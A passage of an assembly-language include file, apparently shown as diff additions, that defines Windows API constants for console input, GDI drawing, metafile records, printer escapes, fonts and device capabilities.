STREAM_MODIFIED_WHEN_READ 1h +%define STREAM_CONTAINS_SECURITY 2h +%define STARTF_USESHOWWINDOW 1h +%define STARTF_USESIZE 2h +%define STARTF_USEPOSITION 4h +%define STARTF_USECOUNTCHARS 8h +%define STARTF_USEFILLATTRIBUTE 10h +%define STARTF_RUNFULLSCREEN 20h +%define STARTF_FORCEONFEEDBACK 40h +%define STARTF_FORCEOFFFEEDBACK 80h +%define STARTF_USESTDHANDLES 100h +%define SHUTDOWN_NORETRY 1h +%define MAX_DEFAULTCHAR 2 +%define CAL_ICALINTVALUE 1h +%define CAL_SCALNAME 2h +%define CAL_IYEAROFFSETRANGE 3h +%define CAL_SERASTRING 4h +%define CAL_SSHORTDATE 5h +%define CAL_SLONGDATE 6h +%define CAL_SDAYNAME1 7h +%define CAL_SDAYNAME2 8h +%define CAL_SDAYNAME3 9h +%define CAL_SDAYNAME4 0Ah +%define CAL_SDAYNAME5 0Bh +%define CAL_SDAYNAME6 0Ch +%define CAL_SDAYNAME7 0Dh +%define CAL_SABBREVDAYNAME1 0Eh +%define CAL_SABBREVDAYNAME2 0Fh +%define CAL_SABBREVDAYNAME3 10h +%define CAL_SABBREVDAYNAME4 11h +%define CAL_SABBREVDAYNAME5 12h +%define CAL_SABBREVDAYNAME6 13h +%define CAL_SABBREVDAYNAME7 14h +%define CAL_SMONTHNAME1 15h +%define CAL_SMONTHNAME2 16h +%define CAL_SMONTHNAME3 17h +%define CAL_SMONTHNAME4 18h +%define CAL_SMONTHNAME5 19h +%define CAL_SMONTHNAME6 1Ah +%define CAL_SMONTHNAME7 1Bh +%define CAL_SMONTHNAME8 1Ch +%define CAL_SMONTHNAME9 1Dh +%define CAL_SMONTHNAME10 1Eh +%define CAL_SMONTHNAME11 1Fh +%define CAL_SMONTHNAME12 20h +%define CAL_SMONTHNAME13 21h +%define CAL_SABBREVMONTHNAME1 22h +%define CAL_SABBREVMONTHNAME2 23h +%define CAL_SABBREVMONTHNAME3 24h +%define CAL_SABBREVMONTHNAME4 25h +%define CAL_SABBREVMONTHNAME5 26h +%define CAL_SABBREVMONTHNAME6 27h +%define CAL_SABBREVMONTHNAME7 28h +%define CAL_SABBREVMONTHNAME8 29h +%define CAL_SABBREVMONTHNAME9 2Ah +%define CAL_SABBREVMONTHNAME10 2Bh +%define CAL_SABBREVMONTHNAME11 2Ch +%define CAL_SABBREVMONTHNAME12 2Dh +%define CAL_SABBREVMONTHNAME13 2Eh +%define ENUM_ALL_CALENDARS 0FFFFh +%define CAL_GREGORIAN 1 +%define CAL_GREGORIAN_US 2 +%define CAL_JAPAN 3 +%define CAL_TAIWAN 4 +%define CAL_KOREA 5 +%define RIGHT_ALT_PRESSED 1h +%define LEFT_ALT_PRESSED 2h +%define RIGHT_CTRL_PRESSED 4h +%define LEFT_CTRL_PRESSED 8h +%define SHIFT_PRESSED 10h +%define NUMLOCK_ON 20h +%define SCROLLLOCK_ON 40h +%define CAPSLOCK_ON 80h +%define ENHANCED_KEY 100h +%define FROM_LEFT_1ST_BUTTON_PRESSED 1h +%define RIGHTMOST_BUTTON_PRESSED 2h +%define FROM_LEFT_2ND_BUTTON_PRESSED 4h +%define FROM_LEFT_3RD_BUTTON_PRESSED 8h +%define FROM_LEFT_4TH_BUTTON_PRESSED 10h +%define MOUSE_MOVED 1h +%define DOUBLE_CLICK 2h +%define KEY_EVENT 1h +%define mouse_eventC 2h +%define WINDOW_BUFFER_SIZE_EVENT 4h +%define MENU_EVENT 8h +%define FOCUS_EVENT 10h +%define FOREGROUND_BLUE 1h +%define FOREGROUND_GREEN 2h +%define FOREGROUND_RED 4h +%define FOREGROUND_INTENSITY 8h +%define BACKGROUND_BLUE 10h +%define BACKGROUND_GREEN 20h +%define BACKGROUND_RED 40h +%define BACKGROUND_INTENSITY 80h +%define CTRL_C_EVENT 0 +%define CTRL_BREAK_EVENT 1 +%define CTRL_CLOSE_EVENT 2 +%define CTRL_LOGOFF_EVENT 5 +%define CTRL_SHUTDOWN_EVENT 6 +%define ENABLE_PROCESSED_INPUT 1h +%define ENABLE_LINE_INPUT 2h +%define ENABLE_ECHO_INPUT 4h +%define ENABLE_WINDOW_INPUT 8h +%define ENABLE_MOUSE_INPUT 10h +%define ENABLE_PROCESSED_OUTPUT 1h +%define ENABLE_WRAP_AT_EOL_OUTPUT 2h +%define CONSOLE_TEXTMODE_BUFFER 1 +%define R2_BLACK 1 +%define R2_NOTMERGEPEN 2 +%define R2_MASKNOTPEN 3 +%define R2_NOTCOPYPEN 4 +%define R2_MASKPENNOT 5 +%define R2_NOT 6 +%define R2_XORPEN 7 +%define R2_NOTMASKPEN 8 +%define R2_MASKPEN 9 +%define R2_NOTXORPEN 10 +%define R2_NOP 11 +%define R2_MERGENOTPEN 12 +%define R2_COPYPEN 13 +%define R2_MERGEPENNOT 14 +%define R2_MERGEPEN 15 +%define R2_WHITE 16 +%define R2_LAST 16 +%define SRCCOPY 0CC0020h +%define SRCPAINT 0EE0086h +%define SRCAND 8800C6h +%define SRCINVERT 660046h +%define SRCERASE 440328h +%define NOTSRCCOPY 330008h +%define NOTSRCERASE 1100A6h +%define MERGECOPY 0C000CAh +%define MERGEPAINT 0BB0226h +%define PATCOPY 0F00021h +%define PATPAINT 0FB0A09h +%define PATINVERT 5A0049h +%define DSTINVERT 550009h +%define BLACKNESS 42h +%define WHITENESS 0FF0062h +%define GDI_ERROR 0FFFFh +%define HGDI_ERROR 0FFFFh +%define ERRORAPI 0 +%define NULLREGION 1 +%define SIMPLEREGION 2 +%define COMPLEXREGION 3 +%define RGN_AND 1 +%define RGN_OR 2 +%define RGN_XOR 3 +%define RGN_DIFF 4 +%define RGN_COPY 5 +%define RGN_MIN RGN_AND +%define RGN_MAX RGN_COPY +%define BLACKONWHITE 1 +%define WHITEONBLACK 2 +%define COLORONCOLOR 3 +%define HALFTONE 4 +%define MAXSTRETCHBLTMODE 4 +%define ALTERNATE 1 +%define WINDING 2 +%define POLYFILL_LAST 2 +%define TA_NOUPDATECP 0 +%define TA_UPDATECP 1 +%define TA_LEFT 0 +%define TA_RIGHT 2 +%define TA_CENTER 6 +%define TA_TOP 0 +%define TA_BOTTOM 8 +%define TA_BASELINE 24 +%define TA_MASK TA_BASELINE+TA_CENTER+TA_UPDATECP +%define VTA_BASELINE TA_BASELINE +%define VTA_LEFT TA_BOTTOM +%define VTA_RIGHT TA_TOP +%define VTA_CENTER TA_CENTER +%define VTA_BOTTOM TA_RIGHT +%define VTA_TOP TA_LEFT +%define ETO_GRAYED 1 +%define ETO_OPAQUE 2 +%define ETO_CLIPPED 4 +%define ASPECT_FILTERING 1h +%define DCB_RESET 1h +%define DCB_ACCUMULATE 2h +%define DCB_DIRTY DCB_ACCUMULATE +%define DCB_SET DCB_RESET|DCB_ACCUMULATE +%define DCB_ENABLE 4h +%define DCB_DISABLE 8h +%define META_SETBKCOLOR 201h +%define META_SETBKMODE 102h +%define META_SETMAPMODE 103h +%define META_SETROP2 104h +%define META_SETRELABS 105h +%define META_SETPOLYFILLMODE 106h +%define META_SETSTRETCHBLTMODE 107h +%define META_SETTEXTCHAREXTRA 108h +%define META_SETTEXTCOLOR 209h +%define META_SETTEXTJUSTIFICATION 20Ah +%define META_SETWINDOWORG 20Bh +%define META_SETWINDOWEXT 20Ch +%define META_SETVIEWPORTORG 20Dh +%define META_SETVIEWPORTEXT 20Eh +%define META_OFFSETWINDOWORG 20Fh +%define META_SCALEWINDOWEXT 410h +%define META_OFFSETVIEWPORTORG 211h +%define META_SCALEVIEWPORTEXT 412h +%define META_LINETO 213h +%define META_MOVETO 214h +%define META_EXCLUDECLIPRECT 415h +%define META_INTERSECTCLIPRECT 416h +%define META_ARC 817h +%define META_ELLIPSE 418h +%define META_FLOODFILL 419h +%define META_PIE 81Ah +%define META_RECTANGLE 41Bh +%define META_ROUNDRECT 61Ch +%define META_PATBLT 61Dh +%define META_SAVEDC 1Eh +%define META_SETPIXEL 41Fh +%define META_OFFSETCLIPRGN 220h +%define META_TEXTOUT 521h +%define META_BITBLT 922h +%define META_STRETCHBLT 0B23h +%define META_POLYGON 324h +%define META_POLYLINE 325h +%define META_ESCAPE 626h +%define META_RESTOREDC 127h +%define META_FILLREGION 228h +%define META_FRAMEREGION 429h +%define META_INVERTREGION 12Ah +%define META_PAINTREGION 12Bh +%define META_SELECTCLIPREGION 12Ch +%define META_SELECTOBJECT 12Dh +%define META_SETTEXTALIGN 12Eh +%define META_CHORD 830h +%define META_SETMAPPERFLAGS 231h +%define META_EXTTEXTOUT 0A32h +%define META_SETDIBTODEV 0D33h +%define META_SELECTPALETTE 234h +%define META_REALIZEPALETTE 35h +%define META_ANIMATEPALETTE 436h +%define META_SETPALENTRIES 37h +%define META_POLYPOLYGON 538h +%define META_RESIZEPALETTE 139h +%define META_DIBBITBLT 940h +%define META_DIBSTRETCHBLT 0B41h +%define META_DIBCREATEPATTERNBRUSH 142h +%define META_STRETCHDIB 0F43h +%define META_EXTFLOODFILL 548h +%define META_DELETEOBJECT 1F0h +%define META_CREATEPALETTE 0F7h +%define META_CREATEPATTERNBRUSH 1F9h +%define META_CREATEPENINDIRECT 2FAh +%define META_CREATEFONTINDIRECT 2FBh +%define META_CREATEBRUSHINDIRECT 2FCh +%define META_CREATEREGION 6FFh +%define NEWFRAME 1 +%define AbortDocC 2 +%define NEXTBAND 3 +%define SETCOLORTABLE 4 +%define GETCOLORTABLE 5 +%define FLUSHOUTPUT 6 +%define DRAFTMODE 7 +%define QUERYESCSUPPORT 8 +%define SETABORTPROC 9 +%define StartDocC 10 +%define EndDocC 11 +%define GETPHYSPAGESIZE 12 +%define GETPRINTINGOFFSET 13 +%define GETSCALINGFACTOR 14 +%define MFCOMMENT 15 +%define GETPENWIDTH 16 +%define SETCOPYCOUNT 17 +%define SELECTPAPERSOURCE 18 +%define DEVICEDATA 19 +%define PASSTHROUGH 19 +%define GETTECHNOLGY 20 +%define GETTECHNOLOGY 20 +%define SETLINECAP 21 +%define SETLINEJOIN 22 +%define SetMiterLimitC 23 +%define BANDINFO 24 +%define DRAWPATTERNRECT 25 +%define GETVECTORPENSIZE 26 +%define GETVECTORBRUSHSIZE 27 +%define ENABLEDUPLEX 28 +%define GETSETPAPERBINS 29 +%define GETSETPRINTORIENT 30 +%define ENUMPAPERBINS 31 +%define SETDIBSCALING 32 +%define EPSPRINTING 33 +%define ENUMPAPERMETRICS 34 +%define GETSETPAPERMETRICS 35 +%define POSTSCRIPT_DATA 37 +%define POSTSCRIPT_IGNORE 38 +%define MOUSETRAILS 39 +%define GETDEVICEUNITS 42 +%define GETEXTENDEDTEXTMETRICS 256 +%define GETEXTENTTABLE 257 +%define GETPAIRKERNTABLE 258 +%define GETTRACKKERNTABLE 259 +%define ExtTextOutC 512 +%define GETFACENAME 513 +%define DOWNLOADFACE 514 +%define ENABLERELATIVEWIDTHS 768 +%define ENABLEPAIRKERNING 769 +%define SETKERNTRACK 770 +%define SETALLJUSTVALUES 771 +%define SETCHARSET 772 +%define StretchBltC 2048 +%define GETSETSCREENPARAMS 3072 +%define BEGIN_PATH 4096 +%define CLIP_TO_PATH 4097 +%define END_PATH 4098 +%define EXT_DEVICE_CAPS 4099 +%define RESTORE_CTM 4100 +%define SAVE_CTM 4101 +%define SET_ARC_DIRECTION 4102 +%define SET_BACKGROUND_COLOR 4103 +%define SET_POLY_MODE 4104 +%define SET_SCREEN_ANGLE 4105 +%define SET_SPREAD 4106 +%define TRANSFORM_CTM 4107 +%define SET_CLIP_BOX 4108 +%define SET_BOUNDS 4109 +%define SET_MIRROR_MODE 4110 +%define OPENCHANNEL 4110 +%define DOWNLOADHEADER 4111 +%define CLOSECHANNEL 4112 +%define POSTSCRIPT_PASSTHROUGH 4115 +%define ENCAPSULATED_POSTSCRIPT 4116 +%define SP_NOTREPORTED 4000h +%define SP_ERROR -1 +%define SP_APPABORT -2 +%define SP_USERABORT -3 +%define SP_OUTOFDISK -4 +%define SP_OUTOFMEMORY -5 +%define PR_JOBSTATUS 0h +%define OBJ_PEN 1 +%define OBJ_BRUSH 2 +%define OBJ_DC 3 +%define OBJ_METADC 4 +%define OBJ_PAL 5 +%define OBJ_FONT 6 +%define OBJ_BITMAP 7 +%define OBJ_REGION 8 +%define OBJ_METAFILE 9 +%define OBJ_MEMDC 10 +%define OBJ_EXTPEN 11 +%define OBJ_ENHMETADC 12 +%define OBJ_ENHMETAFILE 13 +%define MWT_IDENTITY 1 +%define MWT_LEFTMULTIPLY 2 +%define MWT_RIGHTMULTIPLY 3 +%define MWT_MIN MWT_IDENTITY +%define MWT_MAX MWT_RIGHTMULTIPLY +%define BI_RGB 0 +%define BI_RLE8 1 +%define BI_RLE4 2 +%define BI_bitfields 3 +%define NTM_REGULAR 40h +%define NTM_BOLD 20h +%define NTM_ITALIC 1h +%define TMPF_FIXED_PITCH 1h +%define TMPF_VECTOR 2h +%define TMPF_DEVICE 8h +%define TMPF_TRUETYPE 4h +%define LF_FACESIZE 32 +%define LF_FULLFACESIZE 64 +%define OUT_DEFAULT_PRECIS 0 +%define OUT_STRING_PRECIS 1 +%define OUT_CHARACTER_PRECIS 2 +%define OUT_STROKE_PRECIS 3 +%define OUT_TT_PRECIS 4 +%define OUT_DEVICE_PRECIS 5 +%define OUT_RASTER_PRECIS 6 +%define OUT_TT_ONLY_PRECIS 7 +%define OUT_OUTLINE_PRECIS 8 +%define CLIP_DEFAULT_PRECIS 0 +%define CLIP_CHARACTER_PRECIS 1 +%define CLIP_STROKE_PRECIS 2 +%define CLIP_MASK 0Fh +%define CLIP_LH_ANGLES 16 +%define CLIP_TT_ALWAYS 32 +%define CLIP_EMBEDDED 128 +%define DEFAULT_QUALITY 0 +%define DRAFT_QUALITY 1 +%define PROOF_QUALITY 2 +%define DEFAULT_PITCH 0 +%define FIXED_PITCH 1 +%define VARIABLE_PITCH 2 +%define ANSI_CHARSET 0 +%define DEFAULT_CHARSET 1 +%define SYMBOL_CHARSET 2 +%define SHIFTJIS_CHARSET 128 +%define HANGEUL_CHARSET 129 +%define CHINESEBIG5_CHARSET 136 +%define OEM_CHARSET 255 +%define FF_DONTCARE 0 +%define FF_ROMAN 16 +%define FF_SWISS 32 +%define FF_MODERN 48 +%define FF_SCRIPT 64 +%define FF_DECORATIVE 80 +%define FW_DONTCARE 0 +%define FW_THIN 100 +%define FW_EXTRALIGHT 200 +%define FW_LIGHT 300 +%define FW_NORMAL 400 +%define FW_MEDIUM 500 +%define FW_SEMIBOLD 600 +%define FW_BOLD 700 +%define FW_EXTRABOLD 800 +%define FW_HEAVY 900 +%define FW_ULTRALIGHT FW_EXTRALIGHT +%define FW_REGULAR FW_NORMAL +%define FW_DEMIBOLD FW_SEMIBOLD +%define FW_ULTRABOLD FW_EXTRABOLD +%define FW_BLACK FW_HEAVY +%define PANOSE_COUNT 10 +%define PAN_FAMILYTYPE_INDEX 0 +%define PAN_SERIFSTYLE_INDEX 1 +%define PAN_WEIGHT_INDEX 2 +%define PAN_PROPORTION_INDEX 3 +%define PAN_CONTRAST_INDEX 4 +%define PAN_STROKEVARIATION_INDEX 5 +%define PAN_ARMSTYLE_INDEX 6 +%define PAN_LETTERFORM_INDEX 7 +%define PAN_MIDLINE_INDEX 8 +%define PAN_XHEIGHT_INDEX 9 +%define PAN_CULTURE_LATIN 0 +%define PAN_ANY 0 +%define PAN_NO_FIT 1 +%define PAN_FAMILY_TEXT_DISPLAY 2 +%define PAN_FAMILY_SCRIPT 3 +%define PAN_FAMILY_DECORATIVE 4 +%define PAN_FAMILY_PICTORIAL 5 +%define PAN_SERIF_COVE 2 +%define PAN_SERIF_OBTUSE_COVE 3 +%define PAN_SERIF_SQUARE_COVE 4 +%define PAN_SERIF_OBTUSE_SQUARE_COVE 5 +%define PAN_SERIF_SQUARE 6 +%define PAN_SERIF_THIN 7 +%define PAN_SERIF_BONE 8 +%define PAN_SERIF_EXAGGERATED 9 +%define PAN_SERIF_TRIANGLE 10 +%define PAN_SERIF_NORMAL_SANS 11 +%define PAN_SERIF_OBTUSE_SANS 12 +%define PAN_SERIF_PERP_SANS 13 +%define PAN_SERIF_FLARED 14 +%define PAN_SERIF_ROUNDED 15 +%define PAN_WEIGHT_VERY_LIGHT 2 +%define PAN_WEIGHT_LIGHT 3 +%define PAN_WEIGHT_THIN 4 +%define PAN_WEIGHT_BOOK 5 +%define PAN_WEIGHT_MEDIUM 6 +%define PAN_WEIGHT_DEMI 7 +%define PAN_WEIGHT_BOLD 8 +%define PAN_WEIGHT_HEAVY 9 +%define PAN_WEIGHT_BLACK 10 +%define PAN_WEIGHT_NORD 11 +%define PAN_PROP_OLD_STYLE 2 +%define PAN_PROP_MODERN 3 +%define PAN_PROP_EVEN_WIDTH 4 +%define PAN_PROP_EXPANDED 5 +%define PAN_PROP_CONDENSED 6 +%define PAN_PROP_VERY_EXPANDED 7 +%define PAN_PROP_VERY_CONDENSED 8 +%define PAN_PROP_MONOSPACED 9 +%define PAN_CONTRAST_NONE 2 +%define PAN_CONTRAST_VERY_LOW 3 +%define PAN_CONTRAST_LOW 4 +%define PAN_CONTRAST_MEDIUM_LOW 5 +%define PAN_CONTRAST_MEDIUM 6 +%define PAN_CONTRAST_MEDIUM_HIGH 7 +%define PAN_CONTRAST_HIGH 8 +%define PAN_CONTRAST_VERY_HIGH 9 +%define PAN_STROKE_GRADUAL_DIAG 2 +%define PAN_STROKE_GRADUAL_TRAN 3 +%define PAN_STROKE_GRADUAL_VERT 4 +%define PAN_STROKE_GRADUAL_HORZ 5 +%define PAN_STROKE_RAPID_VERT 6 +%define PAN_STROKE_RAPID_HORZ 7 +%define PAN_STROKE_INSTANT_VERT 8 +%define PAN_STRAIGHT_ARMS_HORZ 2 +%define PAN_STRAIGHT_ARMS_WEDGE 3 +%define PAN_STRAIGHT_ARMS_VERT 4 +%define PAN_STRAIGHT_ARMS_SINGLE_SERIF 5 +%define PAN_STRAIGHT_ARMS_DOUBLE_SERIF 6 +%define PAN_BENT_ARMS_HORZ 7 +%define PAN_BENT_ARMS_WEDGE 8 +%define PAN_BENT_ARMS_VERT 9 +%define PAN_BENT_ARMS_SINGLE_SERIF 10 +%define PAN_BENT_ARMS_DOUBLE_SERIF 11 +%define PAN_LETT_NORMAL_CONTACT 2 +%define PAN_LETT_NORMAL_WEIGHTED 3 +%define PAN_LETT_NORMAL_BOXED 4 +%define PAN_LETT_NORMAL_FLATTENED 5 +%define PAN_LETT_NORMAL_ROUNDED 6 +%define PAN_LETT_NORMAL_OFF_CENTER 7 +%define PAN_LETT_NORMAL_SQUARE 8 +%define PAN_LETT_OBLIQUE_CONTACT 9 +%define PAN_LETT_OBLIQUE_WEIGHTED 10 +%define PAN_LETT_OBLIQUE_BOXED 11 +%define PAN_LETT_OBLIQUE_FLATTENED 12 +%define PAN_LETT_OBLIQUE_ROUNDED 13 +%define PAN_LETT_OBLIQUE_OFF_CENTER 14 +%define PAN_LETT_OBLIQUE_SQUARE 15 +%define PAN_MIDLINE_STANDARD_TRIMMED 2 +%define PAN_MIDLINE_STANDARD_POINTED 3 +%define PAN_MIDLINE_STANDARD_SERIFED 4 +%define PAN_MIDLINE_HIGH_TRIMMED 5 +%define PAN_MIDLINE_HIGH_POINTED 6 +%define PAN_MIDLINE_HIGH_SERIFED 7 +%define PAN_MIDLINE_CONSTANT_TRIMMED 8 +%define PAN_MIDLINE_CONSTANT_POINTED 9 +%define PAN_MIDLINE_CONSTANT_SERIFED 10 +%define PAN_MIDLINE_LOW_TRIMMED 11 +%define PAN_MIDLINE_LOW_POINTED 12 +%define PAN_MIDLINE_LOW_SERIFED 13 +%define PAN_XHEIGHT_CONSTANT_SMALL 2 +%define PAN_XHEIGHT_CONSTANT_STD 3 +%define PAN_XHEIGHT_CONSTANT_LARGE 4 +%define PAN_XHEIGHT_DUCKING_SMALL 5 +%define PAN_XHEIGHT_DUCKING_STD 6 +%define PAN_XHEIGHT_DUCKING_LARGE 7 +%define ELF_VENDOR_SIZE 4 +%define ELF_VERSION 0 +%define ELF_CULTURE_LATIN 0 +%define RASTER_FONTTYPE 1h +%define DEVICE_FONTTYPE 2h +%define TRUETYPE_FONTTYPE 4h +%define PC_RESERVED 1h +%define PC_EXPLICIT 2h +%define PC_NOCOLLAPSE 4h +%define TRANSPARENT 1 +%define OPAQUE 2 +%define BKMODE_LAST 2 +%define GM_COMPATIBLE 1 +%define GM_ADVANCED 2 +%define GM_LAST 2 +%define PT_CLOSEFIGURE 1h +%define PT_LINETO 2h +%define PT_BEZIERTO 4h +%define PT_MOVETO 6h +%define MM_TEXT 1 +%define MM_LOMETRIC 2 +%define MM_HIMETRIC 3 +%define MM_LOENGLISH 4 +%define MM_HIENGLISH 5 +%define MM_TWIPS 6 +%define MM_ISOTROPIC 7 +%define MM_ANISOTROPIC 8 +%define MM_MIN MM_TEXT +%define MM_MAX MM_ANISOTROPIC +%define MM_MAX_FIXEDSCALE MM_TWIPS +%define _ABSOLUTE 1 +%define RELATIVE 2 +%define WHITE_BRUSH 0 +%define LTGRAY_BRUSH 1 +%define GRAY_BRUSH 2 +%define DKGRAY_BRUSH 3 +%define BLACK_BRUSH 4 +%define NULL_BRUSH 5 +%define HOLLOW_BRUSH NULL_BRUSH +%define WHITE_PEN 6 +%define BLACK_PEN 7 +%define NULL_PEN 8 +%define OEM_FIXED_FONT 10 +%define ANSI_FIXED_FONT 11 +%define ANSI_VAR_FONT 12 +%define SYSTEM_FONT 13 +%define DEVICE_DEFAULT_FONT 14 +%define DEFAULT_PALETTE 15 +%define SYSTEM_FIXED_FONT 16 +%define STOCK_LAST 16 +%define CLR_INVALID 0FFFFh +%define BS_SOLID 0 +%define BS_NULL 1 +%define BS_HOLLOW BS_NULL +%define BS_HATCHED 2 +%define BS_PATTERN 3 +%define BS_INDEXED 4 +%define BS_DIBPATTERN 5 +%define BS_DIBPATTERNPT 6 +%define BS_PATTERN8X8 7 +%define BS_DIBPATTERN8X8 8 +%define HS_HORIZONTAL 0 +%define HS_VERTICAL 1 +%define HS_FDIAGONAL 2 +%define HS_BDIAGONAL 3 +%define HS_CROSS 4 +%define HS_DIAGCROSS 5 +%define HS_FDIAGONAL1 6 +%define HS_BDIAGONAL1 7 +%define HS_SOLID 8 +%define HS_DENSE1 9 +%define HS_DENSE2 10 +%define HS_DENSE3 11 +%define HS_DENSE4 12 +%define HS_DENSE5 13 +%define HS_DENSE6 14 +%define HS_DENSE7 15 +%define HS_DENSE8 16 +%define HS_NOSHADE 17 +%define HS_HALFTONE 18 +%define HS_SOLIDCLR 19 +%define HS_DITHEREDCLR 20 +%define HS_SOLIDTEXTCLR 21 +%define HS_DITHEREDTEXTCLR 22 +%define HS_SOLIDBKCLR 23 +%define HS_DITHEREDBKCLR 24 +%define HS_API_MAX 25 +%define PS_SOLID 0 +%define PS_DASH 1 +%define PS_DOT 2 +%define PS_DASHDOT 3 +%define PS_DASHDOTDOT 4 +%define PS_NULL 5 +%define PS_INSIDEFRAME 6 +%define PS_USERSTYLE 7 +%define PS_ALTERNATE 8 +%define PS_STYLE_MASK 0Fh +%define PS_ENDCAP_ROUND 0h +%define PS_ENDCAP_SQUARE 100h +%define PS_ENDCAP_FLAT 200h +%define PS_ENDCAP_MASK 0F00h +%define PS_JOIN_ROUND 0h +%define PS_JOIN_BEVEL 1000h +%define PS_JOIN_MITER 2000h +%define PS_JOIN_MASK 0F000h +%define PS_COSMETIC 0h +%define PS_GEOMETRIC 10000h +%define PS_TYPE_MASK 0F0000h +%define AD_COUNTERCLOCKWISE 1 +%define AD_CLOCKWISE 2 +%define PRF_CHECKVISIBLE 00000001h +%define PRF_NONCLIENT 00000002h +%define PRF_CLIENT 00000004h +%define PRF_ERASEBKGND 00000008h +%define PRF_CHILDREN 00000010h +%define PRF_OWNED 00000020h +%define BDR_RAISEDOUTER 0001h +%define BDR_SUNKENOUTER 0002h +%define BDR_RAISEDINNER 0004h +%define BDR_SUNKENINNER 0008h +%define BDR_OUTER 0003h +%define BDR_INNER 000Ch +%define BDR_RAISED 0005h +%define BDR_SUNKEN 000Ah +%define EDGE_RAISED BDR_RAISEDOUTER|BDR_RAISEDINNER +%define EDGE_SUNKEN BDR_SUNKENOUTER|BDR_SUNKENINNER +%define EDGE_ETCHED BDR_SUNKENOUTER|BDR_RAISEDINNER +%define EDGE_BUMP BDR_RAISEDOUTER|BDR_SUNKENINNER +%define BF_LEFT 0001h +%define BF_TOP 0002h +%define BF_RIGHT 0004h +%define BF_BOTTOM 0008h +%define BF_TOPLEFT BF_TOP|BF_LEFT +%define BF_TOPRIGHT BF_TOP|BF_RIGHT +%define BF_BOTTOMLEFT BF_BOTTOM|BF_LEFT +%define BF_BOTTOMRIGHT BF_BOTTOM|BF_RIGHT +%define BF_RECT BF_LEFT|BF_TOP|BF_RIGHT|BF_BOTTOM +%define BF_DIAGONAL 0010h +%define BF_DIAGONAL_ENDTOPRIGHT BF_DIAGONAL|BF_TOP|BF_RIGHT +%define BF_DIAGONAL_ENDTOPLEFT BF_DIAGONAL|BF_TOP|BF_LEFT +%define BF_DIAGONAL_ENDBOTTOMLEFT BF_DIAGONAL|BF_BOTTOM|BF_LEFT +%define BF_DIAGONAL_ENDBOTTOMRIGHT BF_DIAGONAL|BF_BOTTOM|BF_RIGHT +%define BF_MIDDLE 0800h +%define BF_SOFT 1000h +%define BF_ADJUST 2000h +%define BF_FLAT 4000h +%define BF_MONO 8000h +%define DRIVERVERSION 0 +%define TECHNOLOGY 2 +%define HORZSIZE 4 +%define VERTSIZE 6 +%define HORZRES 8 +%define VERTRES 10 +%define BITSPIXEL 12 +%define PLANES 14 +%define NUMBRUSHES 16 +%define NUMPENS 18 +%define NUMMARKERS 20 +%define NUMFONTS 22 +%define NUMCOLORS 24 +%define PDEVICESIZE 26 +%define CURVECAPS 28 +%define LINECAPS 30 +%define POLYGONALCAPS 32 +%define TEXTCAPS 34 +%define CLIPCAPS 36 +%define RASTERCAPS 38 +%define ASPECTX 40 +%define ASPECTY 42 +%define ASPECTXY 44 +%define LOGPIXELSX 88 +%define LOGPIXELSY 90 +%define SIZEPALETTE 104 +%define NUMRESERVED 106 +%define COLORRES 108 +%define PHYSICALWIDTH 110 +%define PHYSICALHEIGHT 111 +%define PHYSICALOFFSETX 112 +%define PHYSICALOFFSETY 113 +%define SCALINGFACTORX 114 +%define SCALINGFACTORY 115 +%define DT_PLOTTER 0 +%define DT_RASDISPLAY 1 +%define DT_RASPRINTER 2 +%define DT_RASCAMERA 3 +%define DT_CHARSTREAM 4 +%define DT_METAFILE 5 +%define DT_DISPFILE 6 +%define CC_NONE 0 +%define CC_CIRCLES 1 +%define CC_PIE 2 +%define CC_CHORD 4 +%define CC_ELLIPSES 8 +%define CC_WIDE 16 +%define CC_STYLED 32 +%define CC_WIDESTYLED 64 +%define CC_INTERIORS 128 +%define CC_ROUNDRECT 256 +%define LC_NONE 0 +%define LC_POLYLINE 2 +%define LC_MARKER 4 +%define LC_POLYMARKER 8 +%define LC_WIDE 16 +%define LC_STYLED 32 +%define LC_WIDESTYLED 64 +%define LC_INTERIORS 128 +%define PC_NONE 0 +%define PC_POLYGON 1 +%define PC_RECTANGLE 2 +%define PC_WINDPOLYGON 4 +%define PC_TRAPEZOID 4 +%define PC_SCANLINE 8 +%define PC_WIDE 16 +%define PC_STYLED 32 +%define PC_WIDESTYLED 64 +%define PC_INTERIORS 128 +%define CP_NONE 0 +%define CP_RECTANGLE 1 +%define CP_REGION 2 +%define TC_OP_CHARACTER 1h +%define TC_OP_STROKE 2h +%define TC_CP_STROKE 4h +%define TC_CR_90 8h +%define TC_CR_ANY 10h +%define TC_SF_X_YINDEP 20h +%define TC_SA_DOUBLE 40h +%define TC_SA_INTEGER 80h +%define TC_SA_CONTIN 100h +%define TC_EA_DOUBLE 200h +%define TC_IA_ABLE 400h +%define TC_UA_ABLE 800h +%define TC_SO_ABLE 1000h +%define TC_RA_ABLE 2000h +%define TC_VA_ABLE 4000h +%define TC_RESERVED 8000h +%define TC_SCROLLBLT 10000h +%define RC_NONE 0 +%define RC_BITBLT 1 +%define RC_BANDING 2 +%define RC_SCALING 4 +%define RC_BITMAP64 8 +%define RC_GDI20_OUTPUT 10h +%define RC_GDI20_STATE 20h +%define RC_SAVEBITMAP 40h +%define RC_DI_BITMAP 80h +%define RC_PALETTE 100h +%define RC_DIBTODEV 200h +%define RC_BIGFONT 400h +%define RC_STRETCHBLT 800h +%define RC_FLOODFILL 1000h +%define RC_STRETCHDIB 2000h +%define RC_OP_DX_OUTPUT 4000h +%define RC_DEVBITS 8000h +%define DIB_RGB_COLORS 0 +%define DIB_PAL_COLORS 1 +%define DIB_PAL_INDICES 2 +%define DIB_PAL_PHYSINDICES 2 +%define DIB_PAL_LOGINDICES 4 +%define SYSPAL_ERROR 0 +%define SYSPAL_STATIC 1 +%define SYSPAL_NOSTATIC 2 +%define CBM_CREATEDIB 2h +%define CBM_INIT 4h +%define FLOODFILLBORDER 0 +%define FLOODFILLSURFACE 1 +%define CCHDEVICENAME 32 +%define CCHFORMNAME 32 +%define DM_SPECVERSION 320h +%define DM_ORIENTATION 1h +%define DM_PAPERSIZE 2h +%define DM_PAPERLENGTH 4h +%define DM_PAPERWIDTH 8h +%define DM_SCALE 10h +%define DM_COPIES 100h +%define DM_DEFAULTSOURCE 200h +%define DM_PRINTQUALITY 400h +%define DM_COLOR 800h +%define DM_DUPLEX 1000h +%define DM_YRESOLUTION 2000h +%define DM_TTOPTION 4000h +%define DM_COLLATE 8000h +%define DM_FORMNAME 10000h +%define DMORIENT_PORTRAIT 1 +%define DMORIENT_LANDSCAPE 2 +%define DMPAPER_LETTER 1 +%define DMPAPER_FIRST DMPAPER_LETTER 